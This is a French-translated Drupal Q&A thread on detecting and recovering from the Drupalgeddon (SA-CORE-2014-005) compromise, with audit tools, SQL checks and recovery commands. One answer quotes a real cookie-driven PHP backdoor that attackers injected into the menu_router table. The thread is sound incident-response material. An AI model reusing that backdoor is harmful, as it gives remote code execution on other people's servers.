Drupal SA-CORE-2014-005 - Comment savoir si mon serveur / mes sites ont été compromis?

40

Je viens de mettre à jour tous mes sites en utilisant la méthode du correctif pour résoudre l'exploit Drupal SA-CORE-2014-005. Je viens de lire des rapports selon lesquels, hier, une personne d'un réseau IP russe infiltrant des sites Drupal.

https://www.drupal.org/SA-CORE-2014-005

Mes principales préoccupations sont maintenant:

  • Comment savoir si mes sites ont été compris?
  • Que dois-je rechercher dans mes journaux d'accès Apache pour détecter si mon site a été victime ou non?
  • Jusqu'à présent, que font ces pirates informatiques pour les sites compris?
Patoshi ト シ
la source
7
Il y a un module pour ça maintenant drupal.org/project/drupalgeddon
mikeytown2
Que faire si je n'ai pas de configuration d'alias pour 100 sites Drupal? Quels sont certains des hacks communs de votre découverte afin que nous sachions à quoi s'attendre?
Patoshi a annoncé
1
@duckx Vérifiez le code dans le module drupalgeddon et vous trouverez ces hacks courants; nous ne pouvons pas répertorier tous les changements possibles qu'un utilisateur malveillant peut effectuer avec un accès complet à une base de données, pour des raisons évidentes. Ils peuvent faire n'importe quel changement que l'utilisateur de Drupal mysql est autorisé à faire, c'est un peu le but. Donc, littéralement, le seul moyen de savoir avec certitude est de comparer votre base de données actuelle à une bonne version connue. Si vous cherchez un bouton pour appuyer de manière fiable, à 100% avec précision, vous dire si votre site a été compromis ou non, vous rêvez que j'ai peur :)
Clive
Ducky: si vous n'avez pas configuré d'alias et que vous avez 100 sites, il sera plus facile de configurer les alias que de les traiter manuellement? Procurez-vous une liste des racines et des URL du site et vous pourrez en faire un ensemble d'alias à partir de là.
Chris Burgess

Réponses:

6

Voici quelques requêtes SQL pouvant être exécutées sur les bases de données de votre site pour rechercher les utilisateurs disposant de privilèges administrateur, et sur celles ayant accédé au site après le 15 octobre.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

JustinChev
la source
1
Bonjour et bienvenue sur Drupal Answers. Vous pouvez améliorer votre réponse en fournissant un petit résumé de la page fournie.
Wtower
Au fait, il est recommandé de vérifier les utilisateurs créés après le 15 octobre. Ceci utilise le createdchamp de la table users. Il n'est pas garanti que la personne qui a injecté SQL respectera la valeur du champ, ce qui rend cette vérification peu utile. En effet, il m’a semblé que l’injection d’utilisateur commun portant ce nom drupaldevavait été supposée avoir été créée il ya 44 semaines. En ce qui concerne la deuxième recommandation, encore une fois, il n’est pas garanti que l’utilisateur injecté sera bien connecté.
Wtower
29

Si vous lisez cet article et espérez vérifier un site Drupal 7 plus d'un mois après l'exploit, votre site a probablement déjà été piraté . Votre meilleur choix est de restaurer une sauvegarde avant le début des attaques et de travailler à partir de là.

Il y a une FAQ sur SA-CORE-2014-005 .

Comment savoir si mes sites ont été compromis?

Un moyen de vérifier rapidement si les sites sont compromis consiste à utiliser la commande Drupalgeddon drush.

Installez à votre ~/.drushavecdrush dl drupalgeddon

Puis utilisez drush drupalgeddon-testpour tester. Les alias Drush rendent cela facile et rapide.

Cet outil peut confirmer un site exploité, mais il ne peut pas garantir que votre site n'a pas été exploité. Il n'y a pas de «bilan de santé propre» ici à moins que vous n'ayez mis à niveau avant les attaques.


Le module Site Audit inclut certaines des vérifications de Drupalgeddon et vous donne également une contribution beaucoup plus utile. Je le recommande fortement. (EDIT: Maintenant, ils travaillent ensemble - super sympa!)


Security Review ne vérifie pas les attaques de Drupalgeddon, mais vaut également la peine de faire partie de votre toolbelt.


Si votre base de code de site était accessible en écriture à l'utilisateur www, vous pouvez également vérifier la présence de code modifié à l'aide du module piraté. Ce module ne peut pas faire ce que vous pensez basé sur son nom seul :)


Bien qu'il n'existe pas de moyen unique d'identifier tous les sites compromis, ces outils peuvent vous aider à identifier les indications les plus courantes.


Que dois-je rechercher dans mes journaux d'accès Apache pour détecter si mon site a été victime ou non?

Vos journaux d’accès contiendront beaucoup de demandes POST maintenant. À moins que vous n'ayez pris la mesure inhabituelle de consigner toutes les données de publication avant le bogue, il est peu probable que vous disposiez des informations lui permettant de déterminer lesquelles de ces actions étaient malveillantes.

Jusqu'à présent, que font ces pirates informatiques pour les sites compromis?

Beaucoup rapportent que leurs sites sont corrigés par les pirates! En tant qu'attaquant, cela n'a aucun sens: vous ne voulez pas que votre site nouvellement piraté soit fouetté par le prochain attaquant :)

Autre que cela, je suppose que les sites sont utilisés pour récolter toutes les données précieuses (peut-être saisir des crédits, peut-être lever des détails de transaction après avoir exploité) et pour faire des choses ennuyeuses comme envoyer du spam et travailler comme de modestes esclaves de botnet. Oh, et élargir encore l'empire de l'attaquant des sites Drupal détournés. (Désolé, je n'ai aucun site piraté à observer.)

Chris Burgess
la source
Pouvez-vous clarifier? Une attaque commence-t-elle toujours par une demande POST? J'examine mes journaux pour des POSTS. J'ai repéré celui de l'IP 62.76.191.119 après l'avoir corrigé.
Lance Holland
J'ai eu un site qui a été victime de cet exploit et il semble que les attaquants l'aient utilisé pour envoyer des tonnes de spam à partir du serveur.
Cyclonecode
24

Certaines vérifications d'attaques courantes sont (cette liste n'est pas exhaustive, mais certaines des attaques observées jusqu'à présent dans la nature):

  • Vérifiez votre compte d'utilisateur 1 pour vous assurer que son nom d'utilisateur, son adresse e-mail ou son mot de passe sont conformes à vos attentes. Cochez également les autres comptes d'utilisateurs disposant d'autorisations élevées, si possible.
  • Recherchez les nouveaux comptes d'utilisateurs qui semblent suspects.
  • Recherchez les modifications apportées aux rôles sur votre système, par exemple les nouveaux rôles ou les rôles renommés.
  • Vérifiez les changements de permission. L'aspect le plus important est de s'assurer que le rôle d'utilisateur anonyme (ou d'autres rôles que n'importe qui peut s'inscrire pour obtenir) n'a pas été modifié pour lui donner un accès accru.
  • Recherchez les nouveaux blocs personnalisés pouvant contenir du code malveillant.
  • Recherchez les nouveaux nœuds personnalisés pouvant contenir du code malveillant.
  • Recherchez les fichiers de votre système de fichiers qui ne devraient pas être là. C'est facile si vous utilisez le contrôle de version car vous pouvez faire git status ou svn st pour voir s'il y a de nouveaux fichiers.
  • S'ils ont téléchargé des fichiers malveillants, vous pouvez vérifier dans vos journaux d'accès les hits de noms de fichiers étranges que vous ne connaissez pas.
  • Vérifiez la table de base de données de votre routeur de menu pour les entrées malveillantes. Par exemple (le plugin drupalgeddon module / drush sur drupal.org a un bon script pour vérifier cette table de manière plus approfondie):

    SELECT * FROM menu_router WHERE access_callback = 'fichier_put_contents';

  • Vous pouvez également simplement parcourir votre table de routage de menu pour rechercher des entrées étranges.

Certaines choses que les pirates tentent de faire sont les suivantes:

  • Mettez des fichiers script PHP sur votre site qu'ils peuvent ensuite exécuter en les frappant dans un navigateur. Ces scripts peuvent faire un large éventail de choses malveillantes. Ceci est réalisé en ajoutant des entrées de routeur de menu malveillantes.
  • Créez des comptes d’administrateur que vous pourrez ensuite utiliser pour faire du mal à votre site ou prendre en charge votre site.
  • Modifiez l'adresse e-mail de l'utilisateur 1 afin qu'il puisse ensuite réinitialiser le mot de passe de ce compte et en prendre le contrôle.
  • Modifier les autorisations sur les rôles d'utilisateur accessibles au public.
  • Ajouter des blocs / nœuds / etc. qui peut contenir du code malveillant. Si le filtre PHP est activé, le problème est encore plus grave.

Malheureusement, un attaquant peut faire tellement de choses à votre base de données qu'il est très difficile de donner une liste complète des possibilités. Ils peuvent faire des choses qui tentent de leur donner le contrôle de votre site ou simplement casser votre site en laissant tomber des tables ou des colonnes de base de données, etc.

Ils pourraient même simplement apporter de très petits changements à la configuration du site, par exemple changer le nom de votre site ou quelque chose du genre, ce qui n'est pas la fin du monde, mais reste problématique.

Fondamentalement, tout attaquant pourrait théoriquement le faire dans votre base de données en exécutant une commande SQL.

Tous les modules mentionnés dans la réponse de Chris Burgess sont très utiles pour vérifier ces éléments.

Rooby
la source
1
Vous devez avoir été touché par 62.76.191.119. En général, il semblerait que cette adresse IP tente de placer un fichier dans votre docroot via menu_router et éventuellement d’autres problèmes avec votre base de données. Vous pouvez lire les commentaires sur drupal.org/node/2357241 .
scor
Je n'ai jamais été touché par les résultats de mes enquêtes sur mes sites. Ce ne sont que des informations pour aider le PO.
Rooby
comment ferais-je pour "Vérifier la table de la base de données de routeur de menu pour les entrées malveillantes:"? Je suis sur un serveur centos et j'ai root.
Patoshi a annoncé
Vous pouvez exécuter la commande de base de données "SELECT * FROM menu_router", puis les parcourir toutes afin de rechercher des lignes qui semblent déplacées. Il existe également une commande plus spécifique mentionnée dans ma réponse qui recherche une attaque spécifique connue et utilisée pour télécharger des fichiers sur votre serveur.
Rooby
IP 62.76.191.119 tente d’exploiter la vulnérabilité de mes sites le lendemain de la publication de la mise à jour de sécurité. J'ai banni de tous mes sites. J'ai eu beaucoup de chance d'avoir mis à jour mes sites à temps. C'était bizarre parce que ça frappait mes sites par ordre alphabétique.
cayerdis
10

Je pense que j'irais avec le conseil drupal.org " Vous devriez continuer en supposant que chaque site Web Drupal 7 a été compromis sauf s'il a été mis à jour ou corrigé avant le 15 octobre, 23h UTC, soit 7 heures après l'annonce .". Comme le disait Bevan dans ce commentaire, "La mise à jour ou la correction de Drupal ne corrige pas les portes dérobées installées par les pirates avant la mise à jour ou la correction de Drupal."

Bevan a également créé le tableau de flux de travail suivant pour vous aider à déterminer si une infection a pu être infectée et comment récupérer et prévenir . Cependant, il demande à tout le monde de consulter son article d'origine pour s'assurer que vous disposez de la dernière version du flux de travail. En outre, Acquia fait un article intéressant sur les attaques et les modèles qu’ils ont connus dans Acquia Cloud.

 organigramme pour comprendre si vous êtes vulnérable, si vous avez peut-être été infecté et comment le récupérer.

Cayerdis
la source
4

Citation de: https://www.drupal.org/node/2357241#comment-9258955

Voici un exemple de fichier inséré dans la colonne access_callback de la table menu_router:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Comme vous pouvez le voir, il essaie de créer le fichier modules / image / vzoh.php, mais comme je n’ai lu que les autorisations à l’intérieur de ces répertoires, php échoue avec.

Rapports de personnes ayant trouvé des fichiers similaires créés en effectuant une recherche dans votre répertoire drupal: https://www.drupal.org/node/2357241#comment-9260017


Ce que j'ai fait était de faire la commande suivante:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

===================

Cité de: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Afficher les fichiers qui ont changé sur le serveur live: statut git

Recherche de tentatives d'exécution de code via menu_router: sélectionnez * depuis menu_router où access_callback = 'file_put_contents'

Affichage des fichiers présents sur le serveur actif et non sous contrôle de version: diff -r docroot repo | grep docroot | grep 'Seulement dans docroot'

Recherche de fichiers PHP dans le répertoire files: find. -path "* php"

Vérification du temps écoulé entre le moment où un utilisateur s'est connecté à votre site et la visite de sa page la plus récente: sélectionnez (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid depuis les sessions, rejoindre les utilisateurs internes u on s.uid = u.uid;

Patoshi ト シ
la source
3

Une très bonne liste de commandes pour dire si vous avez été comprimé.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));
Patoshi ト シ
la source
1
Au lieu de donner des réponses séparées, vous devriez peut-être éditer la première et ajouter les informations supplémentaires?
Cyclonecode